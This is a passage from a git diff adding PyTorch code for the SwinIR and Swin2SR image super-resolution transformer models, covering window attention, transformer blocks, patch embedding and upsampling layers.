x_size))) + x + + def flops(self): + flops = 0 + flops += self.residual_group.flops() + H, W = self.input_resolution + flops += H * W * self.dim * self.dim * 9 + flops += self.patch_embed.flops() + flops += self.patch_unembed.flops() + + return flops + + +class PatchEmbed(nn.Module): + r""" Image to Patch Embedding + + Args: + img_size (int): Image size. Default: 224. + patch_size (int): Patch token size. Default: 4. + in_chans (int): Number of input image channels. Default: 3. + embed_dim (int): Number of linear projection output channels. Default: 96. + norm_layer (nn.Module, optional): Normalization layer. Default: None + """ + + def __init__(self, img_size=224, patch_size=4, in_chans=3, embed_dim=96, norm_layer=None): + super().__init__() + img_size = to_2tuple(img_size) + patch_size = to_2tuple(patch_size) + patches_resolution = [img_size[0] // patch_size[0], img_size[1] // patch_size[1]] + self.img_size = img_size + self.patch_size = patch_size + self.patches_resolution = patches_resolution + self.num_patches = patches_resolution[0] * patches_resolution[1] + + self.in_chans = in_chans + self.embed_dim = embed_dim + + if norm_layer is not None: + self.norm = norm_layer(embed_dim) + else: + self.norm = None + + def forward(self, x): + x = x.flatten(2).transpose(1, 2) # B Ph*Pw C + if self.norm is not None: + x = self.norm(x) + return x + + def flops(self): + flops = 0 + H, W = self.img_size + if self.norm is not None: + flops += H * W * self.embed_dim + return flops + + +class PatchUnEmbed(nn.Module): + r""" Image to Patch Unembedding + + Args: + img_size (int): Image size. Default: 224. + patch_size (int): Patch token size. Default: 4. + in_chans (int): Number of input image channels. Default: 3. + embed_dim (int): Number of linear projection output channels. Default: 96. + norm_layer (nn.Module, optional): Normalization layer. Default: None + """ + + def __init__(self, img_size=224, patch_size=4, in_chans=3, embed_dim=96, norm_layer=None): + super().__init__() + img_size = to_2tuple(img_size) + patch_size = to_2tuple(patch_size) + patches_resolution = [img_size[0] // patch_size[0], img_size[1] // patch_size[1]] + self.img_size = img_size + self.patch_size = patch_size + self.patches_resolution = patches_resolution + self.num_patches = patches_resolution[0] * patches_resolution[1] + + self.in_chans = in_chans + self.embed_dim = embed_dim + + def forward(self, x, x_size): + B, HW, C = x.shape + x = x.transpose(1, 2).view(B, self.embed_dim, x_size[0], x_size[1]) # B Ph*Pw C + return x + + def flops(self): + flops = 0 + return flops + + +class Upsample(nn.Sequential): + """Upsample module. + + Args: + scale (int): Scale factor. Supported scales: 2^n and 3. + num_feat (int): Channel number of intermediate features. + """ + + def __init__(self, scale, num_feat): + m = [] + if (scale & (scale - 1)) == 0: # scale = 2^n + for _ in range(int(math.log(scale, 2))): + m.append(nn.Conv2d(num_feat, 4 * num_feat, 3, 1, 1)) + m.append(nn.PixelShuffle(2)) + elif scale == 3: + m.append(nn.Conv2d(num_feat, 9 * num_feat, 3, 1, 1)) + m.append(nn.PixelShuffle(3)) + else: + raise ValueError(f'scale {scale} is not supported. ' 'Supported scales: 2^n and 3.') + super(Upsample, self).__init__(*m) + + +class UpsampleOneStep(nn.Sequential): + """UpsampleOneStep module (the difference with Upsample is that it always only has 1conv + 1pixelshuffle) + Used in lightweight SR to save parameters. + + Args: + scale (int): Scale factor. Supported scales: 2^n and 3. + num_feat (int): Channel number of intermediate features. + + """ + + def __init__(self, scale, num_feat, num_out_ch, input_resolution=None): + self.num_feat = num_feat + self.input_resolution = input_resolution + m = [] + m.append(nn.Conv2d(num_feat, (scale ** 2) * num_out_ch, 3, 1, 1)) + m.append(nn.PixelShuffle(scale)) + super(UpsampleOneStep, self).__init__(*m) + + def flops(self): + H, W = self.input_resolution + flops = H * W * self.num_feat * 3 * 9 + return flops + + +class SwinIR(nn.Module): + r""" SwinIR + A PyTorch impl of : `SwinIR: Image Restoration Using Swin Transformer`, based on Swin Transformer. + + Args: + img_size (int | tuple(int)): Input image size. Default 64 + patch_size (int | tuple(int)): Patch size. Default: 1 + in_chans (int): Number of input image channels. Default: 3 + embed_dim (int): Patch embedding dimension. Default: 96 + depths (tuple(int)): Depth of each Swin Transformer layer. + num_heads (tuple(int)): Number of attention heads in different layers. + window_size (int): Window size. Default: 7 + mlp_ratio (float): Ratio of mlp hidden dim to embedding dim. Default: 4 + qkv_bias (bool): If True, add a learnable bias to query, key, value. Default: True + qk_scale (float): Override default qk scale of head_dim ** -0.5 if set. Default: None + drop_rate (float): Dropout rate. Default: 0 + attn_drop_rate (float): Attention dropout rate. Default: 0 + drop_path_rate (float): Stochastic depth rate. Default: 0.1 + norm_layer (nn.Module): Normalization layer. Default: nn.LayerNorm. + ape (bool): If True, add absolute position embedding to the patch embedding. Default: False + patch_norm (bool): If True, add normalization after patch embedding. Default: True + use_checkpoint (bool): Whether to use checkpointing to save memory. Default: False + upscale: Upscale factor. 2/3/4/8 for image SR, 1 for denoising and compress artifact reduction + img_range: Image range. 1. or 255. + upsampler: The reconstruction reconstruction module. 'pixelshuffle'/'pixelshuffledirect'/'nearest+conv'/None + resi_connection: The convolutional block before residual connection. '1conv'/'3conv' + """ + + def __init__(self, img_size=64, patch_size=1, in_chans=3, + embed_dim=96, depths=(6, 6, 6, 6), num_heads=(6, 6, 6, 6), + window_size=7, mlp_ratio=4., qkv_bias=True, qk_scale=None, + drop_rate=0., attn_drop_rate=0., drop_path_rate=0.1, + norm_layer=nn.LayerNorm, ape=False, patch_norm=True, + use_checkpoint=False, upscale=2, img_range=1., upsampler='', resi_connection='1conv', + **kwargs): + super(SwinIR, self).__init__() + num_in_ch = in_chans + num_out_ch = in_chans + num_feat = 64 + self.img_range = img_range + if in_chans == 3: + rgb_mean = (0.4488, 0.4371, 0.4040) + self.mean = torch.Tensor(rgb_mean).view(1, 3, 1, 1) + else: + self.mean = torch.zeros(1, 1, 1, 1) + self.upscale = upscale + self.upsampler = upsampler + self.window_size = window_size + + ##################################################################################################### + ################################### 1, shallow feature extraction ################################### + self.conv_first = nn.Conv2d(num_in_ch, embed_dim, 3, 1, 1) + + ##################################################################################################### + ################################### 2, deep feature extraction ###################################### + self.num_layers = len(depths) + self.embed_dim = embed_dim + self.ape = ape + self.patch_norm = patch_norm + self.num_features = embed_dim + self.mlp_ratio = mlp_ratio + + # split image into non-overlapping patches + self.patch_embed = PatchEmbed( + img_size=img_size, patch_size=patch_size, in_chans=embed_dim, embed_dim=embed_dim, + norm_layer=norm_layer if self.patch_norm else None) + num_patches = self.patch_embed.num_patches + patches_resolution = self.patch_embed.patches_resolution + self.patches_resolution = patches_resolution + + # merge non-overlapping patches into image + self.patch_unembed = PatchUnEmbed( + img_size=img_size, patch_size=patch_size, in_chans=embed_dim, embed_dim=embed_dim, + norm_layer=norm_layer if self.patch_norm else None) + + # absolute position embedding + if self.ape: + self.absolute_pos_embed = nn.Parameter(torch.zeros(1, num_patches, embed_dim)) + trunc_normal_(self.absolute_pos_embed, std=.02) + + self.pos_drop = nn.Dropout(p=drop_rate) + + # stochastic depth + dpr = [x.item() for x in torch.linspace(0, drop_path_rate, sum(depths))] # stochastic depth decay rule + + # build Residual Swin Transformer blocks (RSTB) + self.layers = nn.ModuleList() + for i_layer in range(self.num_layers): + layer = RSTB(dim=embed_dim, + input_resolution=(patches_resolution[0], + patches_resolution[1]), + depth=depths[i_layer], + num_heads=num_heads[i_layer], + window_size=window_size, + mlp_ratio=self.mlp_ratio, + qkv_bias=qkv_bias, qk_scale=qk_scale, + drop=drop_rate, attn_drop=attn_drop_rate, + drop_path=dpr[sum(depths[:i_layer]):sum(depths[:i_layer + 1])], # no impact on SR results + norm_layer=norm_layer, + downsample=None, + use_checkpoint=use_checkpoint, + img_size=img_size, + patch_size=patch_size, + resi_connection=resi_connection + + ) + self.layers.append(layer) + self.norm = norm_layer(self.num_features) + + # build the last conv layer in deep feature extraction + if resi_connection == '1conv': + self.conv_after_body = nn.Conv2d(embed_dim, embed_dim, 3, 1, 1) + elif resi_connection == '3conv': + # to save parameters and memory + self.conv_after_body = nn.Sequential(nn.Conv2d(embed_dim, embed_dim // 4, 3, 1, 1), + nn.LeakyReLU(negative_slope=0.2, inplace=True), + nn.Conv2d(embed_dim // 4, embed_dim // 4, 1, 1, 0), + nn.LeakyReLU(negative_slope=0.2, inplace=True), + nn.Conv2d(embed_dim // 4, embed_dim, 3, 1, 1)) + + ##################################################################################################### + ################################ 3, high quality image reconstruction ################################ + if self.upsampler == 'pixelshuffle': + # for classical SR + self.conv_before_upsample = nn.Sequential(nn.Conv2d(embed_dim, num_feat, 3, 1, 1), + nn.LeakyReLU(inplace=True)) + self.upsample = Upsample(upscale, num_feat) + self.conv_last = nn.Conv2d(num_feat, num_out_ch, 3, 1, 1) + elif self.upsampler == 'pixelshuffledirect': + # for lightweight SR (to save parameters) + self.upsample = UpsampleOneStep(upscale, embed_dim, num_out_ch, + (patches_resolution[0], patches_resolution[1])) + elif self.upsampler == 'nearest+conv': + # for real-world SR (less artifacts) + self.conv_before_upsample = nn.Sequential(nn.Conv2d(embed_dim, num_feat, 3, 1, 1), + nn.LeakyReLU(inplace=True)) + self.conv_up1 = nn.Conv2d(num_feat, num_feat, 3, 1, 1) + if self.upscale == 4: + self.conv_up2 = nn.Conv2d(num_feat, num_feat, 3, 1, 1) + self.conv_hr = nn.Conv2d(num_feat, num_feat, 3, 1, 1) + self.conv_last = nn.Conv2d(num_feat, num_out_ch, 3, 1, 1) + self.lrelu = nn.LeakyReLU(negative_slope=0.2, inplace=True) + else: + # for image denoising and JPEG compression artifact reduction + self.conv_last = nn.Conv2d(embed_dim, num_out_ch, 3, 1, 1) + + self.apply(self._init_weights) + + def _init_weights(self, m): + if isinstance(m, nn.Linear): + trunc_normal_(m.weight, std=.02) + if isinstance(m, nn.Linear) and m.bias is not None: + nn.init.constant_(m.bias, 0) + elif isinstance(m, nn.LayerNorm): + nn.init.constant_(m.bias, 0) + nn.init.constant_(m.weight, 1.0) + + @torch.jit.ignore + def no_weight_decay(self): + return {'absolute_pos_embed'} + + @torch.jit.ignore + def no_weight_decay_keywords(self): + return {'relative_position_bias_table'} + + def check_image_size(self, x): + _, _, h, w = x.size() + mod_pad_h = (self.window_size - h % self.window_size) % self.window_size + mod_pad_w = (self.window_size - w % self.window_size) % self.window_size + x = F.pad(x, (0, mod_pad_w, 0, mod_pad_h), 'reflect') + return x + + def forward_features(self, x): + x_size = (x.shape[2], x.shape[3]) + x = self.patch_embed(x) + if self.ape: + x = x + self.absolute_pos_embed + x = self.pos_drop(x) + + for layer in self.layers: + x = layer(x, x_size) + + x = self.norm(x) # B L C + x = self.patch_unembed(x, x_size) + + return x + + def forward(self, x): + H, W = x.shape[2:] + x = self.check_image_size(x) + + self.mean = self.mean.type_as(x) + x = (x - self.mean) * self.img_range + + if self.upsampler == 'pixelshuffle': + # for classical SR + x = self.conv_first(x) + x = self.conv_after_body(self.forward_features(x)) + x + x = self.conv_before_upsample(x) + x = self.conv_last(self.upsample(x)) + elif self.upsampler == 'pixelshuffledirect': + # for lightweight SR + x = self.conv_first(x) + x = self.conv_after_body(self.forward_features(x)) + x + x = self.upsample(x) + elif self.upsampler == 'nearest+conv': + # for real-world SR + x = self.conv_first(x) + x = self.conv_after_body(self.forward_features(x)) + x + x = self.conv_before_upsample(x) + x = self.lrelu(self.conv_up1(torch.nn.functional.interpolate(x, scale_factor=2, mode='nearest'))) + if self.upscale == 4: + x = self.lrelu(self.conv_up2(torch.nn.functional.interpolate(x, scale_factor=2, mode='nearest'))) + x = self.conv_last(self.lrelu(self.conv_hr(x))) + else: + # for image denoising and JPEG compression artifact reduction + x_first = self.conv_first(x) + res = self.conv_after_body(self.forward_features(x_first)) + x_first + x = x + self.conv_last(res) + + x = x / self.img_range + self.mean + + return x[:, :, :H*self.upscale, :W*self.upscale] + + def flops(self): + flops = 0 + H, W = self.patches_resolution + flops += H * W * 3 * self.embed_dim * 9 + flops += self.patch_embed.flops() + for layer in self.layers: + flops += layer.flops() + flops += H * W * 3 * self.embed_dim * self.embed_dim + flops += self.upsample.flops() + return flops + + +if __name__ == '__main__': + upscale = 4 + window_size = 8 + height = (1024 // upscale // window_size + 1) * window_size + width = (720 // upscale // window_size + 1) * window_size + model = SwinIR(upscale=2, img_size=(height, width), + window_size=window_size, img_range=1., depths=[6, 6, 6, 6], + embed_dim=60, num_heads=[6, 6, 6, 6], mlp_ratio=2, upsampler='pixelshuffledirect') + print(model) + print(height, width, model.flops() / 1e9) + + x = torch.randn((1, 3, height, width)) + x = model(x) + print(x.shape) diff --git a/extensions-builtin/SwinIR/swinir_model_arch_v2.py b/extensions-builtin/SwinIR/swinir_model_arch_v2.py new file mode 100644 index 0000000000000000000000000000000000000000..59219f69a9a7f8365628cb2f4f57f5cd0104147a --- /dev/null +++ b/extensions-builtin/SwinIR/swinir_model_arch_v2.py @@ -0,0 +1,1017 @@ +# ----------------------------------------------------------------------------------- +# Swin2SR: Swin2SR: SwinV2 Transformer for Compressed Image Super-Resolution and Restoration, https://arxiv.org/abs/ +# Written by Conde and Choi et al. +# ----------------------------------------------------------------------------------- + +import math +import numpy as np +import torch +import torch.nn as nn +import torch.nn.functional as F +import torch.utils.checkpoint as checkpoint +from timm.models.layers import DropPath, to_2tuple, trunc_normal_ + + +class Mlp(nn.Module): + def __init__(self, in_features, hidden_features=None, out_features=None, act_layer=nn.GELU, drop=0.): + super().__init__() + out_features = out_features or in_features + hidden_features = hidden_features or in_features + self.fc1 = nn.Linear(in_features, hidden_features) + self.act = act_layer() + self.fc2 = nn.Linear(hidden_features, out_features) + self.drop = nn.Dropout(drop) + + def forward(self, x): + x = self.fc1(x) + x = self.act(x) + x = self.drop(x) + x = self.fc2(x) + x = self.drop(x) + return x + + +def window_partition(x, window_size): + """ + Args: + x: (B, H, W, C) + window_size (int): window size + Returns: + windows: (num_windows*B, window_size, window_size, C) + """ + B, H, W, C = x.shape + x = x.view(B, H // window_size, window_size, W // window_size, window_size, C) + windows = x.permute(0, 1, 3, 2, 4, 5).contiguous().view(-1, window_size, window_size, C) + return windows + + +def window_reverse(windows, window_size, H, W): + """ + Args: + windows: (num_windows*B, window_size, window_size, C) + window_size (int): Window size + H (int): Height of image + W (int): Width of image + Returns: + x: (B, H, W, C) + """ + B = int(windows.shape[0] / (H * W / window_size / window_size)) + x = windows.view(B, H // window_size, W // window_size, window_size, window_size, -1) + x = x.permute(0, 1, 3, 2, 4, 5).contiguous().view(B, H, W, -1) + return x + +class WindowAttention(nn.Module): + r""" Window based multi-head self attention (W-MSA) module with relative position bias. + It supports both of shifted and non-shifted window. + Args: + dim (int): Number of input channels. + window_size (tuple[int]): The height and width of the window. + num_heads (int): Number of attention heads. + qkv_bias (bool, optional): If True, add a learnable bias to query, key, value. Default: True + attn_drop (float, optional): Dropout ratio of attention weight. Default: 0.0 + proj_drop (float, optional): Dropout ratio of output. Default: 0.0 + pretrained_window_size (tuple[int]): The height and width of the window in pre-training. + """ + + def __init__(self, dim, window_size, num_heads, qkv_bias=True, attn_drop=0., proj_drop=0., + pretrained_window_size=(0, 0)): + + super().__init__() + self.dim = dim + self.window_size = window_size # Wh, Ww + self.pretrained_window_size = pretrained_window_size + self.num_heads = num_heads + + self.logit_scale = nn.Parameter(torch.log(10 * torch.ones((num_heads, 1, 1))), requires_grad=True) + + # mlp to generate continuous relative position bias + self.cpb_mlp = nn.Sequential(nn.Linear(2, 512, bias=True), + nn.ReLU(inplace=True), + nn.Linear(512, num_heads, bias=False)) + + # get relative_coords_table + relative_coords_h = torch.arange(-(self.window_size[0] - 1), self.window_size[0], dtype=torch.float32) + relative_coords_w = torch.arange(-(self.window_size[1] - 1), self.window_size[1], dtype=torch.float32) + relative_coords_table = torch.stack( + torch.meshgrid([relative_coords_h, + relative_coords_w])).permute(1, 2, 0).contiguous().unsqueeze(0) # 1, 2*Wh-1, 2*Ww-1, 2 + if pretrained_window_size[0] > 0: + relative_coords_table[:, :, :, 0] /= (pretrained_window_size[0] - 1) + relative_coords_table[:, :, :, 1] /= (pretrained_window_size[1] - 1) + else: + relative_coords_table[:, :, :, 0] /= (self.window_size[0] - 1) + relative_coords_table[:, :, :, 1] /= (self.window_size[1] - 1) + relative_coords_table *= 8 # normalize to -8, 8 + relative_coords_table = torch.sign(relative_coords_table) * torch.log2( + torch.abs(relative_coords_table) + 1.0) / np.log2(8) + + self.register_buffer("relative_coords_table", relative_coords_table) + + # get pair-wise relative position index for each token inside the window + coords_h = torch.arange(self.window_size[0]) + coords_w = torch.arange(self.window_size[1]) + coords = torch.stack(torch.meshgrid([coords_h, coords_w])) # 2, Wh, Ww + coords_flatten = torch.flatten(coords, 1) # 2, Wh*Ww + relative_coords = coords_flatten[:, :, None] - coords_flatten[:, None, :] # 2, Wh*Ww, Wh*Ww + relative_coords = relative_coords.permute(1, 2, 0).contiguous() # Wh*Ww, Wh*Ww, 2 + relative_coords[:, :, 0] += self.window_size[0] - 1 # shift to start from 0 + relative_coords[:, :, 1] += self.window_size[1] - 1 + relative_coords[:, :, 0] *= 2 * self.window_size[1] - 1 + relative_position_index = relative_coords.sum(-1) # Wh*Ww, Wh*Ww + self.register_buffer("relative_position_index", relative_position_index) + + self.qkv = nn.Linear(dim, dim * 3, bias=False) + if qkv_bias: + self.q_bias = nn.Parameter(torch.zeros(dim)) + self.v_bias = nn.Parameter(torch.zeros(dim)) + else: + self.q_bias = None + self.v_bias = None + self.attn_drop = nn.Dropout(attn_drop) + self.proj = nn.Linear(dim, dim) + self.proj_drop = nn.Dropout(proj_drop) + self.softmax = nn.Softmax(dim=-1) + + def forward(self, x, mask=None): + """ + Args: + x: input features with shape of (num_windows*B, N, C) + mask: (0/-inf) mask with shape of (num_windows, Wh*Ww, Wh*Ww) or None + """ + B_, N, C = x.shape + qkv_bias = None + if self.q_bias is not None: + qkv_bias = torch.cat((self.q_bias, torch.zeros_like(self.v_bias, requires_grad=False), self.v_bias)) + qkv = F.linear(input=x, weight=self.qkv.weight, bias=qkv_bias) + qkv = qkv.reshape(B_, N, 3, self.num_heads, -1).permute(2, 0, 3, 1, 4) + q, k, v = qkv[0], qkv[1], qkv[2] # make torchscript happy (cannot use tensor as tuple) + + # cosine attention + attn = (F.normalize(q, dim=-1) @ F.normalize(k, dim=-1).transpose(-2, -1)) + logit_scale = torch.clamp(self.logit_scale, max=torch.log(torch.tensor(1. / 0.01)).to(self.logit_scale.device)).exp() + attn = attn * logit_scale + + relative_position_bias_table = self.cpb_mlp(self.relative_coords_table).view(-1, self.num_heads) + relative_position_bias = relative_position_bias_table[self.relative_position_index.view(-1)].view( + self.window_size[0] * self.window_size[1], self.window_size[0] * self.window_size[1], -1) # Wh*Ww,Wh*Ww,nH + relative_position_bias = relative_position_bias.permute(2, 0, 1).contiguous() # nH, Wh*Ww, Wh*Ww + relative_position_bias = 16 * torch.sigmoid(relative_position_bias) + attn = attn + relative_position_bias.unsqueeze(0) + + if mask is not None: + nW = mask.shape[0] + attn = attn.view(B_ // nW, nW, self.num_heads, N, N) + mask.unsqueeze(1).unsqueeze(0) + attn = attn.view(-1, self.num_heads, N, N) + attn = self.softmax(attn) + else: + attn = self.softmax(attn) + + attn = self.attn_drop(attn) + + x = (attn @ v).transpose(1, 2).reshape(B_, N, C) + x = self.proj(x) + x = self.proj_drop(x) + return x + + def extra_repr(self) -> str: + return f'dim={self.dim}, window_size={self.window_size}, ' \ + f'pretrained_window_size={self.pretrained_window_size}, num_heads={self.num_heads}' + + def flops(self, N): + # calculate flops for 1 window with token length of N + flops = 0 + # qkv = self.qkv(x) + flops += N * self.dim * 3 * self.dim + # attn = (q @ k.transpose(-2, -1)) + flops += self.num_heads * N * (self.dim // self.num_heads) * N + # x = (attn @ v) + flops += self.num_heads * N * N * (self.dim // self.num_heads) + # x = self.proj(x) + flops += N * self.dim * self.dim + return flops + +class SwinTransformerBlock(nn.Module): + r""" Swin Transformer Block. + Args: + dim (int): Number of input channels. + input_resolution (tuple[int]): Input resulotion. + num_heads (int): Number of attention heads. + window_size (int): Window size. + shift_size (int): Shift size for SW-MSA. + mlp_ratio (float): Ratio of mlp hidden dim to embedding dim. + qkv_bias (bool, optional): If True, add a learnable bias to query, key, value. Default: True + drop (float, optional): Dropout rate. Default: 0.0 + attn_drop (float, optional): Attention dropout rate. Default: 0.0 + drop_path (float, optional): Stochastic depth rate. Default: 0.0 + act_layer (nn.Module, optional): Activation layer. Default: nn.GELU + norm_layer (nn.Module, optional): Normalization layer. Default: nn.LayerNorm + pretrained_window_size (int): Window size in pre-training. + """ + + def __init__(self, dim, input_resolution, num_heads, window_size=7, shift_size=0, + mlp_ratio=4., qkv_bias=True, drop=0., attn_drop=0., drop_path=0., + act_layer=nn.GELU, norm_layer=nn.LayerNorm, pretrained_window_size=0): + super().__init__() + self.dim = dim + self.input_resolution = input_resolution + self.num_heads = num_heads + self.window_size = window_size + self.shift_size = shift_size + self.mlp_ratio = mlp_ratio + if min(self.input_resolution) <= self.window_size: + # if window size is larger than input resolution, we don't partition windows + self.shift_size = 0 + self.window_size = min(self.input_resolution) + assert 0 <= self.shift_size < self.window_size, "shift_size must in 0-window_size" + + self.norm1 = norm_layer(dim) + self.attn = WindowAttention( + dim, window_size=to_2tuple(self.window_size), num_heads=num_heads, + qkv_bias=qkv_bias, attn_drop=attn_drop, proj_drop=drop, + pretrained_window_size=to_2tuple(pretrained_window_size)) + + self.drop_path = DropPath(drop_path) if drop_path > 0. else nn.Identity() + self.norm2 = norm_layer(dim) + mlp_hidden_dim = int(dim * mlp_ratio) + self.mlp = Mlp(in_features=dim, hidden_features=mlp_hidden_dim, act_layer=act_layer, drop=drop) + + if self.shift_size > 0: + attn_mask = self.calculate_mask(self.input_resolution) + else: + attn_mask = None + + self.register_buffer("attn_mask", attn_mask) + + def calculate_mask(self, x_size): + # calculate attention mask for SW-MSA + H, W = x_size + img_mask = torch.zeros((1, H, W, 1)) # 1 H W 1 + h_slices = (slice(0, -self.window_size), + slice(-self.window_size, -self.shift_size), + slice(-self.shift_size, None)) + w_slices = (slice(0, -self.window_size), + slice(-self.window_size, -self.shift_size), + slice(-self.shift_size, None)) + cnt = 0 + for h in h_slices: + for w in w_slices: + img_mask[:, h, w, :] = cnt + cnt += 1 + + mask_windows = window_partition(img_mask, self.window_size) # nW, window_size, window_size, 1 + mask_windows = mask_windows.view(-1, self.window_size * self.window_size) + attn_mask = mask_windows.unsqueeze(1) - mask_windows.unsqueeze(2) + attn_mask = attn_mask.masked_fill(attn_mask != 0, float(-100.0)).masked_fill(attn_mask == 0, float(0.0)) + + return attn_mask + + def forward(self, x, x_size): + H, W = x_size + B, L, C = x.shape + #assert L == H * W, "input feature has wrong size" + + shortcut = x + x = x.view(B, H, W, C) + + # cyclic shift + if self.shift_size > 0: + shifted_x = torch.roll(x, shifts=(-self.shift_size, -self.shift_size), dims=(1, 2)) + else: + shifted_x = x + + # partition windows + x_windows = window_partition(shifted_x, self.window_size) # nW*B, window_size, window_size, C + x_windows = x_windows.view(-1, self.window_size * self.window_size, C) # nW*B, window_size*window_size, C + + # W-MSA/SW-MSA (to be compatible for testing on images whose shapes are the multiple of window size + if self.input_resolution == x_size: + attn_windows = self.attn(x_windows, mask=self.attn_mask) # nW*B, window_size*window_size, C + else: + attn_windows = self.attn(x_windows, mask=self.calculate_mask(x_size).to(x.device)) + + # merge windows + attn_windows = attn_windows.view(-1, self.window_size, self.window_size, C) + shifted_x = window_reverse(attn_windows, self.window_size, H, W) # B H' W' C + + # reverse cyclic shift + if self.shift_size > 0: + x = torch.roll(shifted_x, shifts=(self.shift_size, self.shift_size), dims=(1, 2)) + else: + x = shifted_x + x = x.view(B, H * W, C) + x = shortcut + self.drop_path(self.norm1(x)) + + # FFN + x = x + self.drop_path(self.norm2(self.mlp(x))) + + return x + + def extra_repr(self) -> str: + return f"dim={self.dim}, input_resolution={self.input_resolution}, num_heads={self.num_heads}, " \ + f"window_size={self.window_size}, shift_size={self.shift_size}, mlp_ratio={self.mlp_ratio}" + + def flops(self): + flops = 0 + H, W = self.input_resolution + # norm1 + flops += self.dim * H * W + # W-MSA/SW-MSA + nW = H * W / self.window_size / self.window_size + flops += nW * self.attn.flops(self.window_size * self.window_size) + # mlp + flops += 2 * H * W * self.dim * self.dim * self.mlp_ratio + # norm2 + flops += self.dim * H * W + return flops + +class PatchMerging(nn.Module): + r""" Patch Merging Layer. + Args: + input_resolution (tuple[int]): Resolution of input feature. + dim (int): Number of input channels. + norm_layer (nn.Module, optional): Normalization layer. Default: nn.LayerNorm + """ + + def __init__(self, input_resolution, dim, norm_layer=nn.LayerNorm): + super().__init__() + self.input_resolution = input_resolution + self.dim = dim + self.reduction = nn.Linear(4 * dim, 2 * dim, bias=False) + self.norm = norm_layer(2 * dim) + + def forward(self, x): + """ + x: B, H*W, C + """ + H, W = self.input_resolution + B, L, C = x.shape + assert L == H * W, "input feature has wrong size" + assert H % 2 == 0 and W % 2 == 0, f"x size ({H}*{W}) are not even." + + x = x.view(B, H, W, C) + + x0 = x[:, 0::2, 0::2, :] # B H/2 W/2 C + x1 = x[:, 1::2, 0::2, :] # B H/2 W/2 C + x2 = x[:, 0::2, 1::2, :] # B H/2 W/2 C + x3 = x[:, 1::2, 1::2, :] # B H/2 W/2 C + x = torch.cat([x0, x1, x2, x3], -1) # B H/2 W/2 4*C + x = x.view(B, -1, 4 * C) # B H/2*W/2 4*C + + x = self.reduction(x) + x = self.norm(x) + + return x + + def extra_repr(self) -> str: + return f"input_resolution={self.input_resolution}, dim={self.dim}" + + def flops(self): + H, W = self.input_resolution + flops = (H // 2) * (W // 2) * 4 * self.dim * 2 * self.dim + flops += H * W * self.dim // 2 + return flops + +class BasicLayer(nn.Module): + """ A basic Swin Transformer layer for one stage. + Args: + dim (int): Number of input channels. + input_resolution (tuple[int]): Input resolution. + depth (int): Number of blocks. + num_heads (int): Number of attention heads. + window_size (int): Local window size. + mlp_ratio (float): Ratio of mlp hidden dim to embedding dim. + qkv_bias (bool, optional): If True, add a learnable bias to query, key, value. Default: True + drop (float, optional): Dropout rate. Default: 0.0 + attn_drop (float, optional): Attention dropout rate. Default: 0.0 + drop_path (float | tuple[float], optional): Stochastic depth rate. Default: 0.0 + norm_layer (nn.Module, optional): Normalization layer. Default: nn.LayerNorm + downsample (nn.Module | None, optional): Downsample layer at the end of the layer. Default: None + use_checkpoint (bool): Whether to use checkpointing to save memory. Default: False. + pretrained_window_size (int): Local window size in pre-training. + """ + + def __init__(self, dim, input_resolution, depth, num_heads, window_size, + mlp_ratio=4., qkv_bias=True, drop=0., attn_drop=0., + drop_path=0., norm_layer=nn.LayerNorm, downsample=None, use_checkpoint=False, + pretrained_window_size=0): + + super().__init__() + self.dim = dim + self.input_resolution = input_resolution + self.depth = depth + self.use_checkpoint = use_checkpoint + + # build blocks + self.blocks = nn.ModuleList([ + SwinTransformerBlock(dim=dim, input_resolution=input_resolution, + num_heads=num_heads, window_size=window_size, + shift_size=0 if (i % 2 == 0) else window_size // 2, + mlp_ratio=mlp_ratio, + qkv_bias=qkv_bias, + drop=drop, attn_drop=attn_drop, + drop_path=drop_path[i] if isinstance(drop_path, list) else drop_path, + norm_layer=norm_layer, + pretrained_window_size=pretrained_window_size) + for i in range(depth)]) + + # patch merging layer + if downsample is not None: + self.downsample = downsample(input_resolution, dim=dim, norm_layer=norm_layer) + else: + self.downsample = None + + def forward(self, x, x_size): + for blk in self.blocks: + if self.use_checkpoint: + x = checkpoint.checkpoint(blk, x, x_size) + else: + x = blk(x, x_size) + if self.downsample is not None: + x = self.downsample(x) + return x + + def extra_repr(self) -> str: + return f"dim={self.dim}, input_resolution={self.input_resolution}, depth={self.depth}" + + def flops(self): + flops = 0 + for blk in self.blocks: + flops += blk.flops() + if self.downsample is not None: + flops += self.downsample.flops() + return flops + + def _init_respostnorm(self): + for blk in self.blocks: + nn.init.constant_(blk.norm1.bias, 0) + nn.init.constant_(blk.norm1.weight, 0) + nn.init.constant_(blk.norm2.bias, 0) + nn.init.constant_(blk.norm2.weight, 0) + +class PatchEmbed(nn.Module): + r""" Image to Patch Embedding + Args: + img_size (int): Image size. Default: 224. + patch_size (int): Patch token size. Default: 4. + in_chans (int): Number of input image channels. Default: 3. + embed_dim (int): Number of linear projection output channels. Default: 96. + norm_layer (nn.Module, optional): Normalization layer. Default: None + """ + + def __init__(self, img_size=224, patch_size=4, in_chans=3, embed_dim=96, norm_layer=None): + super().__init__() + img_size = to_2tuple(img_size) + patch_size = to_2tuple(patch_size) + patches_resolution = [img_size[0] // patch_size[0], img_size[1] // patch_size[1]] + self.img_size = img_size + self.patch_size = patch_size + self.patches_resolution = patches_resolution + self.num_patches = patches_resolution[0] * patches_resolution[1] + + self.in_chans = in_chans + self.embed_dim = embed_dim + + self.proj = nn.Conv2d(in_chans, embed_dim, kernel_size=patch_size, stride=patch_size) + if norm_layer is not None: + self.norm = norm_layer(embed_dim) + else: + self.norm = None + + def forward(self, x): + B, C, H, W = x.shape + # FIXME look at relaxing size constraints + # assert H == self.img_size[0] and W == self.img_size[1], + # f"Input image size ({H}*{W}) doesn't match model ({self.img_size[0]}*{self.img_size[1]})." + x = self.proj(x).flatten(2).transpose(1, 2) # B Ph*Pw C + if self.norm is not None: + x = self.norm(x) + return x + + def flops(self): + Ho, Wo = self.patches_resolution + flops = Ho * Wo * self.embed_dim * self.in_chans * (self.patch_size[0] * self.patch_size[1]) + if self.norm is not None: + flops += Ho * Wo * self.embed_dim + return flops + +class RSTB(nn.Module): + """Residual Swin Transformer Block (RSTB). + + Args: + dim (int): Number of input channels. + input_resolution (tuple[int]): Input resolution. + depth (int): Number of blocks. + num_heads (int): Number of attention heads. + window_size (int): Local window size. + mlp_ratio (float): Ratio of mlp hidden dim to embedding dim. + qkv_bias (bool, optional): If True, add a learnable bias to query, key, value. Default: True + drop (float, optional): Dropout rate. Default: 0.0 + attn_drop (float, optional): Attention dropout rate. Default: 0.0 + drop_path (float | tuple[float], optional): Stochastic depth rate. Default: 0.0 + 